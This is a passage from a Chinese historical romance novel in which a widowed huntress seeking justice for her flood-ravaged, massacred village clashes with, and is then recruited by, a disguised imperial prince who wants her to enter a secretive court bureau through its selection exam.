景公子下马,缓缓地走向她。他看见她怀里抱着一个男人的尸体,也看见她红彤彤的眼圈,他什么都明白了。
“他就
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是你丈夫吗?”
“他叫何瑞生……公子,他叫何瑞生。”
景公子垂下眼眸,不敢看她的眼睛。
“盛平五年,我的父亲死于虎口,我和瑞生一起把他葬在萃神山上……”
景公子望着涛涛的河面,咬紧了牙关。
“盛平八年,我们在春天成婚,我穿着红色的薄袄,坐在他的车上,太阳在我们的前面,萃神山在我们身后,光把我浸透,我以为未来都是好日子了……”
景公子转眸凝视兰见春,她好像丢了魂,对一个并不熟识的人说她过去的事。但景公子并不觉得烦——很怪。
“盛平十年,我家破人亡。公子,我从未做过恶,我好好地过日子呢,我老老实实地活着,可这辈子怎么那么痛苦呢?”
景公子仰起头,不忍心看她。
兰见春用手盖住瑞生的眼睛,哀叹道:“我这辈子怎么这么不幸呢……”
景公子眺望波涛不停的河面,并没有回答。
“好人为什么没有好报?”兰见春讽刺地说。
“恶人为什么没有恶报?”她愤懑不平地说。
“你要把他埋在哪?”
兰见春把他推下了水。她跪在河边,目送瑞生随流水远去,眼睛红得像被锤了一棍的鱼。
乌云散去,月光洒下,像爱人的手,此时的黄河似乎变成了隔绝生死的忘川水。
“虎娘……”
恍惚间,她听见有人喊她。
“虎娘?”
兰见春站起来,她好像看见瑞生在河对岸,她闻到了他身上的墨香,伸出了手,碰到了他中指的茧子。
他说:“我看到你摔下了山,但是我却救不了你。”
她哭着说:“我没事。”
瑞生笑了,弯弯的眼睛里似乎藏着海一样深的情:“走吧,走得更远些。天下之大,定然有你的容身之处。”
瑞生慢慢地向她走过来:“我给你的信,一定要等你离开了丘州再看。”
“虎娘啊……虎娘……”那声音似有千千万万泪珠往下流。
“我命苦。”兰见春恨道。
她望着河对面的瑞生,想起了故乡的万千荒山;想起了裹着玫瑰酱的馍馍;想起了童年时躺在板车上,听他的笛声送走夕阳;想起了背着弓、骑着马在荒原上自由奔驰的少年时代;想起了染红半边天的红色嫁衣,还有瑞生与自己结发时流下的热泪。
“别哭,别哭,我要走了。”瑞生的白色发带随风飘荡。
“不要!”兰见春伸出双手,冲进河中,她想抓住那根带子。
说时迟那时快,就在她的指尖刚刚触碰到何瑞生的发带的瞬间,一双手臂揽过她的肩膀,将她拉回了岸边。
“兰夫人!”景公子大声呼唤,把她从生死界拉了回来。
兰见春后知后觉大半个身体都浸在了冰凉的河水中,景公子正拉着她,使劲把人往回拖。
“邪了门了,”景公子把她提到岸上,“怎么突然寻死啊!”
兰见春瘫坐在岸边,低声啜泣:“我看见瑞生了……他就在对岸,我想去找他……”
“逝者已矣。”景公子蹲在她面前,为她擦去眼泪,“你得好好活着!”
兰见春捂着眼,哭出了声。
东方既白,月光逝去,像离人的眼泪一样消散。
5. 好人
直到看不见瑞生,直到听不见兰见春的哭声,直到空气中只剩下小河的波涛声,直到月光从他们的肩膀上挪开,景公子才敢叹息。
他小心翼翼地问:“为何不辞而别?”
“我不愿给你添麻烦。”兰见春瘫坐在土坡上,浑身是泥,脸脏兮兮的,颇为狼狈。
景公子又问:“我不帮你,你怨恨我?”
“您救我,我感恩还不及。”兰见春望着黑漆漆的河面,“但我不敢耽搁。”
景公子不解:“何必急于一时?”
“急,”兰见春擦干眼泪,说,“若再晚些时日,大人们就该忘了羌榆遭洪灾的事,到时候再提我们一村人的冤枉,就没人搭理我了。”
景公子说:“人没有白死的。”
兰见春摇头:“不一样,会忘的。”
要是大人物枉死,十年八年之后,也还会有人记得他。可吴沟村这群人不过是一群小老百姓,生如浮萍,死若鸿毛,在官府统计受灾人数时,可能还会被当成零头抹去。
如果兰见春再苟且偷生,吴沟村的人死了就白死了。
兰见春抬头望月,瑞生、白叔、小牛……她的家人乡邻不是死在了那场洪水里,就是死在了比洪水猛兽更可怕的人祸中。重山叠嶂吞没了亲族的呼喊,他们这群人活着的时候无人在意,现在连死都静悄悄的。
她叹息:“除了我们自己,没人在乎我们的死活。”
景公子一言不发。
兰见春抱着膝盖,低声啜泣。她替死去的人悲哀,也替自己的未来担忧。她心里跟明镜似的,抓出真凶、惩罚真凶,这条路无比漫长且艰难。但她不能退,退了,所有人就都白死了。
不知道过了多久,兰见春哭够了,拾起身边的拐杖,颤颤巍巍地站起来,又要顺着小路往东走去。
景公子问:“你要去哪?”
兰见春转身,风荡起她鬓边的发,像抚过一朵残败的兰花。她抱着木棍驻足,答:“我去找巡抚大人,大人若不见,我就去上京城,找陛下伸冤。”
景公子:“此去山高路远,你一个人,怎么去京城?”
兰见春说:“我有力气,能干活,总能给自己讨口饭吃。”
景公子看着她的眼睛,此刻,他再也不觉得兰见春是吹牛。
“我心匪石,不可转也。我心匪席,不可卷也。①”兰见春冲他苦笑,“有缘再会,景公子。”
兰见春再一次踏上了征程。她腿疼得很,杵着拐杖也走不快,但她的心就像着了火,推着她往前走。
“你会骑马吗?”
兰见春愣了愣,回头望着他,点头。
“会射箭吗?”
兰见春答:“会。”
“我帮你。”
兰见春以为自己听错了:“公子,我们不过萍水相逢。”
“你我并非萍水相逢,我此次来西北,就是为了调查这场水灾。”景公子牵着马走向兰见春,“我若让兰夫人自己去争个公道,那我这一趟西北,算是白来了。”
兰见春感觉给他骗了:“为何你刚才不答应我?”
“兰夫人选的路并不好走,我刚开始想,如果你见好就收,日后也能安稳地过好这一生。直到兰夫人出走,我才发觉,自己小看了兰夫人,还望夫人原谅。”
景公子作揖,诚心诚意向兰见春道歉。
兰见春的心居然平复了些,她眉头舒展,没那么害怕了。景公子说明了他来这里的目的,恰好与自己的猜测吻合。而自己也通过了景公子的“初步考验”,有他的帮助,或许未来的路就没那么难走了。
兰见春想扶起他,手伸到半空又撤回去、藏到背后,说:“使不得。”
景公子直起身,诚挚道:“兰夫人说的不错,虑定而动、心如磐石,天下无不可为之事,受教了。”再次作揖。
景公子给她鞠了两回躬,这如何是好?以前私塾里的学生,也很少有人跟自己行这么大的礼,何况景公子还是自己的救命恩人!
兰见春不知是站着还是坐着好了,她连忙用手背擦脸,擦了一手泥,又想用衣服擦干净,可越弄越脏。
景公子见状,从袖中取出自己的帕子递给她。
兰见春看着那蚕丝锦绣的帕子,不敢伸手去拿:“别脏了您的手帕。”
景公子不多废话,直接自己替她擦脸。他的指尖隔着蚕丝抚过她的脸颊,一股微妙的感觉电流似的穿透他的躯干,景公子别开了目光,不敢再看她的眼睛。
“帕子脏了也无所谓。”他喃喃道,视线偷偷挪到她脸上,却见她侧眸望着江面,他轻声说,“你的魂都跟着他走了……得打起精神来。”
兰见春敛眸,眼泪滴在景公子的虎口。
“随我回去吧,先吃顿饱饭,再洗个热水澡。”景公子垂眸看着她,“见巡抚大人的事,我替你安排,等我消息便是。”
兰见春点点头。景公子把拐杖递给她,又把她扶上了马,自己则是为她牵马,打算走回去。
兰见春却向他伸出手。
景公子抬头望着她,正好能看见她眼底还未坠落的眼泪,他心里泛起一股酸,摇头说:“于礼不合。”
“我想早点回去,”她说,“我很饿。”
“那好。”景公子翻身上马,抓住缰绳,夹紧马肚,向他的住处疾驰。
兰见春闻见了他身上好闻的香气,像冬日的霜花,凛冽、纯粹。景公子亦感觉到了她的拘谨,还有她身上血和泥的味道。这并不好闻,但他心疼。
刚开始,他并不想帮兰见春,直到她说,其实这世上没人在乎他们的死活时,他心中的愧疚汹涌如翻江倒海。
他读过很多圣贤书,先生日日夜夜教导他,君子治国,要承先贤遗风,所作所为要利国利民。于是他日日夜夜将天下苍生挂在嘴边,久而久之,自诩为君子。
兰见春眼里的平静,刀子似的刺破了他为国为民的幻梦。
他不想再做只会纸上谈苍生的伪君子了。
—
景公子的随从张妈妈往桌上摆了两碗臊子面、一碟咸菜。
张妈妈说:“公子,都上齐了。”
景公子没动筷:“为何只有面,没有青菜?”
张妈妈抱歉地说:“丘州不比京城,而现在这里又遭了水灾,实在买不到青菜。公子就先将就一下。”
“也罢,你先下去吧。”景公子给张妈妈使眼色,待她离开后,才对兰见春说,“你若不够吃,我便让他们再做。”
兰见春点点头,刚要拿起筷子,景公子却拦住她,给她斟了杯水:“吃之前先喝一点水,垫垫肚子。”
兰见春点点头,将他倒的水都喝了,才开始往嘴里扒面条。
劲道的面条带着肉臊子的香气,给人一种温暖又踏实的感觉。白面与肉,都是稀
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罕玩意,她狼吞虎咽。
很快,她的碗就见底了。
她抬起手,揉揉平坦的腹部——明明送进去一碗面条了,还跟没吃过一样。她意犹未尽,余光瞥见了景公子还未动筷。
她双手搭在膝盖上,看着碗边出神。
“没吃饱吗?”景公子低头问她。
她下意识地摇头,又赶紧点头:“吃,吃饱了。”
景公子把自己的那碗面推给她:“吃饱,比什么都重要。”
兰见春咽了口唾沫:“您不吃吗?”
景公子早就给自己想好了理由:“天快亮了,我现在吃,就是给早晨找罪受。吃吧,别糟蹋了。”
兰见春便没再推让,握上筷子开吃。第二碗倒吃的慢些,中间还不忘喝了两杯水。
两碗面下肚,兰见春又有些困了。她揉眼睛,抬头看景公子,精神恍惚。
“稍后,我便给巡抚大人写拜帖,尽早让陈瑛送过去。”景公子站起来,“兰夫人,我就不多打扰了。”
—
翌日晌午,景公子告诉她,陈瑛没见到巡抚大人。
“巡抚大人被召至京城述职,十日前就走了。”
兰见春愣了。
“兰夫人?”景公子抬起手,在她眼前晃了晃。
兰见春摇头:“太巧了。”
景公子:“什么?”
“走的太巧了。”兰见春刚回过神。
景公子颇为震惊:“你为何这样觉得?”
兰见春说:“我不懂京城的规矩,但是我感觉这太巧了。”
“是的。”景公子打量着她,“去年,巡抚大人就已经回过京城述职,按理说,西北与京城相隔甚远,今年他本不用回京的。”
兰见春喃喃低语:“不该走的人却走了……”
“我有种不祥的预感,”景公子说,“巡抚被诏回京,与吴沟这惨案有关。”
“有人不想让我见到巡抚?”兰见春皱起眉头,“是啊,瑞生要去见巡抚,招来了一帮贼人屠村。”
兰见春抬眸望着景公子,她猜不到这人的身份。根据他们的推理,巡抚在这个时候被调走,很有可能是有人故意为之。
难道自己活下来的事,已经让那些人知道了?如果知道了,他们为何不像处置吴沟村那样处置景公子?难道……他们是碍于景公子势力,所以才大费周章地把巡抚调走?
——这“景公子”绝对不简单。
“我们扑了个空。”景公子若有所思,“下一步,你打算干什么?”
兰见春想了想,最终摇头。
“你要对付的人,手眼通天……”景公子说,“兰夫人,后悔了吗?”
兰见春说:“不后悔。”
“现在走,或许也能安稳一生。”景公子望着院中的积水,“若去了京城,你就得过朝不保夕的日子,须得整日提防他人,这也不后悔?”
兰见春:“我不后悔。我要的东西,比安稳更重要。”
“就算……”景公子一垂眸便看见兰见春磐石一样坚定的眼神,“也罢,言尽于此。只要你下定了决心,怎么都好。”
兰见春眼角有些涩。
景公子说:“我既然答应要帮你,我便不会食言。我可以带你回上京,但——你得跟我去个地方。”
兰见春:“哪里?”
景公子严肃地说:“青楼。”
6. 刺杀
他们偷偷从宅子后门溜了出去。兰见春的腿伤没好,没法骑马,景公子便把她扶上马车,两人一起往丘州最大的青楼——越仙居去。
马车停在与越仙居一街之隔的空宅院,这里有一处阁楼,爬上去刚好能看见越仙居里面的景色。
西北闹了水灾,可这越仙居却如同人间天堂一样:中间主楼有五层高,顶层阁楼内,花魁正踩在鼓面上翩然起舞;四周围满了喝酒吃肉的男人,都搂着美人,举着酒杯,对着花魁放笑;月光倾洒,飞檐上的红绸带折射出血色的光。
兰见春盯着那些嬉笑的男人,面如土色:她见到了一个熟悉的面孔。
“庄典……”兰见春深吸一口气,“他竟然也在这。”
景公子眯起眼,看了半天:“谁?”
兰见春指着阁楼:“就那个跟在别人身后赔笑、点头哈腰的人,正是羌榆县令庄典。我认得他,刚闹灾的时候,他来过村里,带来了一点粮食。当时他穿的官服上都是泥巴,看着受伤的人还流了几滴眼泪。当时,我们都以为他是个好官呢。”
“原来如此,看来,他靠这场灾升官了。”景公子说,“你看,他上赶着倒酒的那位,应该就是丘州知府章玉良。”
这帮狗东西大吃大喝,也不肯给百姓一点——奈何取之尽锱铢,用之如泥沙①。兰见春心想,他们为什么不去死呢?官府怎么不把他们拉去闹市砍头呢?
景公子说:“最近的灾区,离越仙居不过二十里。官府虽设了粥棚,但给百姓喝得粥都稀得像水。这帮人不思赈灾,反而在这溺于歌舞,不知天地王法为何物——该死。”
兰见春侧眸盯着越仙居,冷不丁地说:“陛下知道吗?”
景公子吓了一跳:“陛——下?”
兰见春问:“如果皇帝知道这帮狗官的所作所为,会不会处置他们?”
景公子感觉被人打了一巴掌似的,眼神飘忽不定:“我……估计陛下不知道。”
兰见春摇头:“陛下肯定知道,朝廷下来赈灾款,经过多少官员的手,就要被盘剥多少次。一千两的赈灾银,到我们这就连一贯都不到。”
景公子:“怎会如此?太夸张了……实在骇人听闻。”
兰见春:“赈灾是你发的吗?”
景公子挠挠鬓角:“倒也不是……”
“所以啊,又不是你给钱,我有必要骗你吗?”兰见春继续盯着越仙居,“从我爹、我爷爷、我太爷爷的时候就这样,不,是自古以来就这样。”
景公子尴尬地说:“上京城内的官还不敢那么嚣张。”
“天子脚下,当然要收敛些。”兰见春冷眼盯着庄典和章玉良,“丘州可不一样,天高皇帝远,这帮人便更能胡作非为。”
“如果现在给你一个机会,”景公子递给了她一张弓、一只箭筒,“替天行道呢?”
他要她杀人。
兰见春看着那张弓,沉默。
景公子说:“你给他们一箭,至少能泄心头之恨,不是吗?你想想何瑞生,他让他们射成了筛子,死无葬身之地。”
兰见春依然沉默。
景公子继续说:“你们吴沟村全村的人,就是让这帮酒囊饭袋杀死了,你难道不恨吗?不想吃他们的肉,喝他们的血吗?”
她当然想杀了他们,一了百了。
兰见春始终都没有接过他的弓,反倒问:“我杀了得一个,能杀一窝吗?我知他们是黑心的官,可王法不知,我杀了他们,被怪罪的会是我。公子,你这是把我往火坑里推。”
景公子俯身逼近她:“你现在不杀他们,你就要等,等有人发现他们的罪行,等他们互相推诿,等他们为自己开脱,结果最后被‘处置’的,还只是一个替罪羊。你何不找个痛快的办法,把仇报了?”
兰见春却一眼识破了他的心思:“你要利用我?”
景公子被她猜中了,也不恼火,反而大方承认:“我确实另有所图。”
他把弓放在兰见春手上,她不想接,但他强抓着她的手腕,不让弓落在地上。他的力气太大了,几乎要把兰见春的手腕捏碎。
“我已经向京城递了消息,估计巡抚大人很快就会知道吴沟村的事。你放心,这帮人绝不会逍遥法外。”景公子沉声说,“今日,无论你进与退,我都做好了万全之策。”
兰见春问:“你到底是谁?”
景公子:“你现在还不需要知道。”
兰见春又问:“你利用我,是想干什么?”
景公子凑近了她,问:“你可知晦朔司?”
兰见春摇头。
“那是当今陛下的倚仗。”景公子回眸瞥了一眼越仙居,“你说过,你会骑马、会射箭,我要帮你,总得看看你的深浅。”
兰见春感觉景公子跟之前不一样了:“你到底是何人?”
景公子转身盯着越仙居:“章玉良坐的位置不好,恰好有房梁挡着,你三箭都要不了他的命。倒是这庄典,兰夫人,羌榆的土皇帝,可害苦了你们?”
兰见春急道:“你究竟是谁?我——我从来都没杀过人!”
景公子退到她身后,把靠近越仙居的位置让出来:“今日若你能要了庄典的命,我便有法子送你进晦朔司。”
景公子拍拍兰见春的肩膀,便站到了她身后,等她做出选择。
兰见春感觉后背冰凉,景公子盯着她,周身袭来一阵恶寒。
庄典的罪,该由自己来判吗?
如果他来这里,是另有苦衷怎么办?自己不分青红皂白地杀了他,这能对吗?
兰见春从箭筒里抽出一支箭,搭上弓,右臂舒展,瞄准越仙居。景公子微微抬起头,还等她射出如何“惊天地”的箭呢。
突然气流逆转,兰见春以迅雷不及掩耳之势,迅速转身,箭头对准了景公子的喉咙。
景公子表面波澜不惊,其实冷汗已经划过了太阳穴。
“我从未听说过什么晦朔司,若是你随便编排出来骗我的,今日我把人杀了,日后你再向官府告发我,我又该当如何?”
兰见春盯着他,就像雌虎盯着她的猎物。
景公子勉强扯出一个笑,举起双手投降。
“你知道我是谁,但我不知道你是谁。”兰见春的臂膀稳如泰山,“你说再多,我都没办法相信你。”
景公子步步后退,兰见春却因腿伤,一动不动。
他说:“隐瞒身份实乃权宜之计,我不想节外生枝。”
“我十四岁那年,白虎下山伤了村里百姓,我因此随父上山杀虎。”兰见春盯着他的眼睛,“只一箭,我就刺穿了它的喉管。”
“是你?”景公子眼睛突然焕发出异样的光芒,“那年西北总督进贡了一套完整的白虎皮,原来它是你杀的。”
忽然,一阵风动,景公子霎时闭上眼,脖颈一凉。
“铛”地一声,箭刺进了景公子身后的梁柱上。
他脑袋一片空白,缓了好久,才想起来抬手,摸摸自己的颈侧。
血。
箭划破了他的皮,留下一个不深不浅、要不了命但足够让他留疤的伤口。
景公子怔怔地看着兰见春,根本没想到她真的敢把这支箭射出来。
兰见春把弓放在了地上,转身就要走。
她始终无法相信一个连自己姓名都要隐瞒的人。
“兰夫人请留步!”景公子捂着自己的脖颈,决心挽留,“这一箭,权当我向你赔罪。”
兰见春驻足,但没有回头。
“我本名萧沃,字荫槐,为当今圣上的长子,封号为‘岷’,我母亲是先皇后景怡,我舅父是靖国公景皑,我先生是内阁次辅温如璋,潼裕巡抚林汝为是我师兄……”
兰见春转身看他,不耐烦地皱着眉。
“隐瞒身份绝非我本意,可我没有办法。”萧沃解释说,“我是秘密离京……”
兰见春沉默。
“我承认,我救你是另有所图。这场水灾牵扯甚广,我想以你为切口,将西北这些贪官污吏连根拔起。”
兰见春依然沉默。
“我原本想等你到了京城,顺利进了晦朔司之后,再向你坦白身份。但你实在是……我没办法,我不想再撒谎了。”
萧沃期待地望着她,眼睛亮得像小鹿。
“你说什么呢?”兰见春直嘬牙花子。
萧沃咽了口唾沫:“如果你没听懂,我可以再给你说
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一遍,我本叫萧沃,字荫——”
兰见春一抬手:“停。”
“啊?”
兰见春问:“你的意思是,我搁路边昏过去了,然后从天而降一个大皇子,不光救了我,还要帮我报仇?”
萧沃着急忙慌地解释:“其实我们是各取所需,你想啊,我需要你这个人证——”
兰见春再一抬手,打断了他:“公子,你少听些才子佳人的烂戏吧。”
萧沃惊讶地问:“什么?”
兰见春说:“我没那么好命。”
她转身就走。
她不信这个人是天潢贵胄,也不信一个金尊玉贵的皇子会将一个八竿子打不着的乡野村妇的心愿放在心上。
无论此人说的是不是真话,他们之前的恩怨都已经在刚才那一箭中了结。
她走就是了。
“文亭!”
哗啦啦几声,兰见春面前挡了一排黑压压的暗卫。他们个个穿着夜行衣,带着黑面罩、黑头巾,外人看不出他们的模样。
兰见春扫视一圈,大概有二十多个人,将狭小的阁楼团团围住。
兰见春回首瞪萧沃,之后便感觉一阵冷风,一柄钢刀架在了她的脖颈子上。
“谋杀皇子,依律,诛三族。”萧沃说,“兰夫人,你今天如何能全身而退?”
他的暗卫将自己的命掐在手里,兰见春面不改色心不跳,反而戏谑地说:“我三族早死光了。”
“文亭。”萧沃给兰见春旁边那个暗卫使了个眼色。
那人便放下了刀。
说时迟那时快,就在文亭收刀的瞬间,兰见春已经将他手上的刀夺过来,飞身杀向萧沃,刀架颈侧。
与此同时,萧沃的暗卫已经纷纷拔刀,准备取兰见春性命。
兰见春骂道:“如果你是什么狗屁皇子,你现在就该臊得慌!那边都是你们选出来的狗官,看看他们干的好事!若是你们颁出来的王法有用,何至于我们去替天行道?!”
萧沃感觉喉头有大石头堵着似的。
“你让我杀庄典,分明是把我往火坑里推。若你还有点良心,就该想想怎么将西北这些狗官绳之以法,而不是在这,打着考验我的名义,折磨我!”
兰见春一把扔了刀,走到了文亭面前。她望着文亭狭长的眼睛,挑衅道:“来啊,杀了我。”
文亭望向萧沃,但他没有反应。
兰见春冷道:“孬种。”
“撤,”萧沃对文亭说,“回去。”
文亭不愿撤:“殿下!”
“我没事,”萧沃连忙用帕子擦自己颈侧的血,气声说,“撤。”
文亭这才带着人走,暗卫们往后退,眼睛却个个盯着兰见春,就怕她发狂,又伤了萧沃。
兰见春疑惑:“不杀我了?”
“我羞愧。”萧沃说。
兰见春问:“我应该对你感恩戴德吗?跪下来,磕头谢恩?”
“你放过我吧。”萧沃颤巍巍地作揖道歉,“今日是我考虑不周,原本只是想见见你的身手,不料……荫槐知错,还望兰夫人谅解。”
兰见春没承他那情,转身就走。
萧沃抬高了声音:“你去哪?”
兰见春:“与你何干?”
萧沃说:“如果你还想为你乡邻报仇,就留下来。”
“我不明白你,”兰见春说,“你我不过萍水相逢。”
“离开这,你再也找不到比我更好的选择。”萧沃说,“而且,我需要你。”
兰见春讽刺地说:“你能需要我什么?”
“晦朔司。”萧沃说,“我需要其中的自己人,你也需要一个靠山。四个月后便是晦朔司擢选大考,若你能成功入司,我们将互为后盾。”
兰见春蹙眉:“如果我进不去呢?”
萧沃说:“放下仇恨,远走高飞。”
兰见春想了想:“我没读过什么书。”
萧沃问:“识字吗?”
兰见春点头。
“那就好,”萧沃说,“无需担心,我会帮你。”
有一句话他说的没错,离开了这里,兰见春确实再也找不到比萧沃更强的靠山了。
7. 算卦
陈瑛在宅子后门等他们,脸色十分难看。
萧沃想躲他,把车停在远处,陈瑛便冲上来,堵着他的路。
陈瑛一副兴师问罪的模样:“公子这是去哪了?”
萧沃看向另一边:“散心。”
“兰夫人的腿伤未愈,也跟着公子出去胡闹?”陈瑛知道萧沃心里怎么想的,“公子这是有事瞒着我?”
“我这不是好端端地回来了?”萧沃晃动缰绳,“时候不早了,兰夫人要休息了。”
陈瑛望着萧沃的眼睛,似有所言:“兰夫人与公子相识不过五天。”
兰见春感觉陈瑛不是在说自己不可信,而是在埋怨萧沃,怎么不信任他。估计陈瑛跟在萧沃身边很久了,这种事也不是第一次有。
萧沃并没有回应陈瑛,而是沉默。
“公子,您的脖颈怎么了?”陈瑛想上来检查他的脖子,萧沃转身假装整理马鞍。
“狗咬的。”萧沃看向兰见春。
兰见春心说明明是你逼的我,遂也把头扭向另一边。
陈瑛走到萧沃身边,眯起眼睛看伤:“是箭伤!何人干的?”
萧沃烦躁地说:“我说了,我没事。”
“这伤得再重点,要的可是命!”陈瑛说,“我这就告诉家里,公子,潼裕不宜久留!”
“够了!没必要。”萧沃呵斥道,“这点伤要不了我的命,你就甭操心了。时候不早了,你回去休息吧。”
陈瑛欲言又止。
“我说话你也要装听不见,是吗?”
萧沃的语气又冷又硬,兰见春明显感觉到他生气了。她把自己呼吸声放缓,怕萧沃一个不愿意把火又撒自己身上。
陈瑛悻悻地让出来后门。兰见春察觉到他一直在观察自己,她浑身不自在,手脚都不知道往哪放。
萧沃先下车,伸出一只手扶她。兰见春看着他杂乱的掌纹,忍不住去猜他的思绪会不会比他的掌纹还要乱。是啊,萧沃这种“天潢贵胄”,周围都是些人精,天天勾心斗角,再单纯的人心也得乱成一团麻线。兰见春抓住他的手腕,着急忙慌地下车,隔着层衣袖,她能感觉到他有力的脉搏。
萧沃端着胳膊给她当拐杖,表情阴得很。兰见春一路低着头,不敢看陈瑛更不敢看萧沃,从门口到自己屋中,这长长的一路,脖子都僵硬得发酸。
萧沃把她扶到了软塌上,吩咐身边的张妈妈:“给兰夫人沐浴,再换身干净衣裳。”
张妈妈赶紧点头:“是。”
萧沃板着脸离开了。
这宅子里有充足的热水,张妈妈很快就帮兰见春准备好了浴桶跟换洗衣裳。
张妈妈要帮她脱衣服,兰见春说:“您不用麻烦,我自己来就好。”
“您的腿还伤着,何况这也是公子吩咐我的,不能不做。”张妈妈帮她把上衣脱掉,恰好让兰见春左肩膀的大片纹身露出了出来,张妈妈讶异地瞪着它,又赶紧收回目光。
那块纹身从前胸一直绕到了后心口,覆盖了整个左肩膀。密密麻麻的,是盛开的连翘花。
张妈妈心想,纹身的人本来就不多,何况还是个纹身的女人,何况这女人还是自家主子捡回来、“重点关照”的女人!这能是善类?怎么可能是善类?惹不起!
兰见春赶紧抬起手盖住肩膀,可她的手哪有那么宽?盖不住,还欲盖弥彰。她干咳嗽两声,说:“小时候被老虎咬过,用来盖伤疤的。”
“啊,是,是……”张妈妈往后退了一步,慌里慌张地把她换下来的衣服捡起来,赶紧退到了屏风后,“夫人您洗着,有什么事,唤我就行。”
“好。”兰见春跟她点头,把毛巾扔进浴桶,弯腰把自己的上半身沉进了水中。
她的腿还有伤口,不方便见水。而且有人守在兰见春跟前,她就感觉有人在催着她似的,她最后用毛巾擦拭伤口周围过后,三下五除二把衣服穿好,就走了出来。
张妈妈见她没事,把她扶到了床上:“夫人没什么事,老奴就告退了。”
“谢谢,”兰见春眨巴眨巴眼,“我没别的事。”
张妈妈带着东西准备离开,兰见春俯身看自己腿上的伤,泡过脏河水之后,伤口又红又肿,轻轻一碰都钻心地疼。
“公子?”
兰见春一抬头,发现萧沃端着金疮药跟烈酒进来了。张妈妈识眼色地先退出,房中只剩下兰见春和萧沃两个人。
萧沃把托盘放在地上,抓过一条矮凳坐在了兰见春床边:“郎中来之前,先简单包扎一下。”
兰见春把腿抬到床上,说:“我自己来吧。”
萧沃端着托盘,也不跟兰见春争,她要自己处理,就自己弄。
兰见春用镊子夹了一团纱布,再把烈酒倒在布上。等纱布完全浸湿,她提一口气憋住,把纱布直接摁在了自己的伤口上。这感觉简直比伤口撒盐还要疼,她浑身上下马上就出了一层汗,把刚换好的衣服又浸湿了。
她盯着溃烂模糊的伤口,手上微微用力,将烈酒往伤口的缝隙里摁。她听见了“吱嘎吱嘎”的咬牙声,这感觉疼得像要被人撕断了骨肉,她眉头紧皱,竟然一声没吭。
“你不疼吗?”
兰见春没工夫理他,擦过伤口之后,作了三四次深呼吸才把心情平复。她把金疮药倒在伤口上,这回没刚才疼,她抓紧了衣角,很快就扛了过去。等疼痛的潮水褪去,兰见春才抬眸看萧沃。
她额角的头发都在滴汗,眼神极其冷静,好像在问他,疼不疼,你自己看不明白吗?
萧沃低下头,他刚才的确问了句废话。这女人跟铁打的一样,伤都变成烂桃子了,处理的时候居然一声不吭,甚至眼都不眨一下——这是人吗?简直就是山上的老虎!
“我是猎户出身,”兰见春朝自己的伤腿抬了抬下巴,“家常便饭。”
萧沃连连惊叹:“铁骨铮铮。”
兰见春微微勾起唇角,虽然刚才有吹牛的嫌疑,但心情舒坦啊。萧沃夸她,她就受着,应得的。
“咳咳。”有人故意在她门前咳嗽。
兰见春往外头一看,恰好掠过一个人影。
萧沃冷道:“别理他。”
原来那人是陈瑛。
“他是不是有事找你?”兰见春抻脖子往外看,“你不用去看看吗?”
“不用。”
兰见春察觉到他的情绪,问:“你为什么……”
萧沃:“什么为什么?”
兰见春指外面:“他……陈先生。”
萧沃继续装傻:“他怎么了?”
兰见春说:“既然你不信任他,为什么要跟他一起来丘州呢?”
萧沃瞪大了眼睛:“谁?我不信任谁?”
兰见春泄了口气:“我没话讲,您请回吧。”
兰见春躺下,翻身对着内墙。端着药进来,一个人留在一个新丧夫的女人房中,问什么又什么都不说,莫名其妙!
“你跟他不一样。”
萧沃转眸看向窗外,月光懒懒地洒在他身上,将他的身影拉得很长、很长。他眼里的光散了许多,暗淡得像凌晨的长街。
他沉默,酝酿着什么。
“我第一次见你,就觉得你不一样。”萧沃说,“你很真,让我心里踏实。就算你把刀架在我脖子上,我也觉得你不会伤害我。”
兰见春十分疑惑:“你说什么呢?”
“你跟我见过的所有人都不一样,他们身上都有股死人味。”萧沃皱着眉,“你跟他们都不一样,所以我愿意相信你。”
兰见春坐起来:“你真的很喜欢自说自话。”
“是么?”萧沃无奈地笑,“可能是过去我很少说话,现在一见着活人,就恨不得多说两句。”
兰见春真嫌他矫情,他的过去,自己也没那么感兴趣。他爱多说就多说,不爱说就不说,她只关心萧沃所谓的“帮”,到底指的是什么。
“所以你要怎么帮我?晦什么司考试。”
“我说话你怎么不往心里去?是晦朔司擢选大考,”萧沃有些失望,“分文试和武试,文试考策论,武试考骑-射,综合成绩取前二十名进晦朔司。考题难度一般,难在人多。毕竟跟科举不同,晦朔司大考无论男女皆可报考。”
兰见春一听就明白了:“这可比科举难得多。不过,这是什么地方,还能让我们考?”
“晦朔司为先帝所创设,是独立于内阁六部之外的机构,存在的目的就是与前朝互为制衡。晦朔司直接听命于皇帝,有皇权特许,司内官员品级不高但权力大。为选出得力的官员,先帝特别规定,大考男女不限、出身不限。”
“还有这种事?”兰见春说,“但我以前从来没听说过。”
“晦朔司的名号在民间鲜有人知晓,但在上京可是如雷贯耳。每年金秋在上京进行擢选大考,高门大户都等着让家里的孩子去呢。”萧沃别开了目光,“吴沟这地方天高皇帝远,不知道晦朔司,实属正常。”
兰见春想了想,点头:“确实,我们村四周都是山,消息闭塞得很。话又说回来,武试我不算太担心,策论怎么办?”
萧沃冲她笑:“我教你啊。”
此时有人敲门:“主子,为您看伤的郎中到了。”
“书房等我。”萧沃看向窗外,对兰见春说,“明天,我手把手教你写策论
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,做我关门大弟子,包教包会!”
兰见春懵懂地点头。
“今夜好梦,兰夫人。”萧沃微微颔首,转身离去。
门关上之后,她悄悄地爬起来,抻脖子往外看,确定萧沃走远之后,她才敢松了口气。萧沃刚才对陈瑛说话的表情、语气……可真够刻薄的。
这种性子,还是这种身份,自己居然射了他一箭……兰见春感觉脖子凉凉的。不过他要是想杀自己,应该早就让那帮暗卫动手了,也不会跟自己说那种话。
萧沃说的话很奇怪,像是告白似的,兰见春忍不住打了个寒战。
像他这种人,能有几分真情?都是演的,估计利用完自己,就该翻脸不认人了。
他说的那个……晦朔司,到底是个什么地界?神神秘秘的,当真不问男女,不问出身?
兰见春紧张地抠手指,她心里悬悬着落不下,也不知道听萧沃的对不对。到底去不去上京?如果不去,现在就是离开这的最佳时机。
她把手探到了怀里,摸出来三枚生锈的老铜钱。这还是瑞生的祖母送给她的,摇卦的本事,也是祖母教给她的。
祖母说,遇事不决,算一卦。
她蹑手蹑脚地下床,先净手,再端坐在桌案旁。她面对三枚铜钱闭上眼,在心中默问:“要不要相信萧沃。”
她沉了口气,捧起铜钱、抛出,两背一正。她提笔将初爻记录在纸上,之后再反复抛了五次,最终得到了成形的卦象。
“泽风大过……”
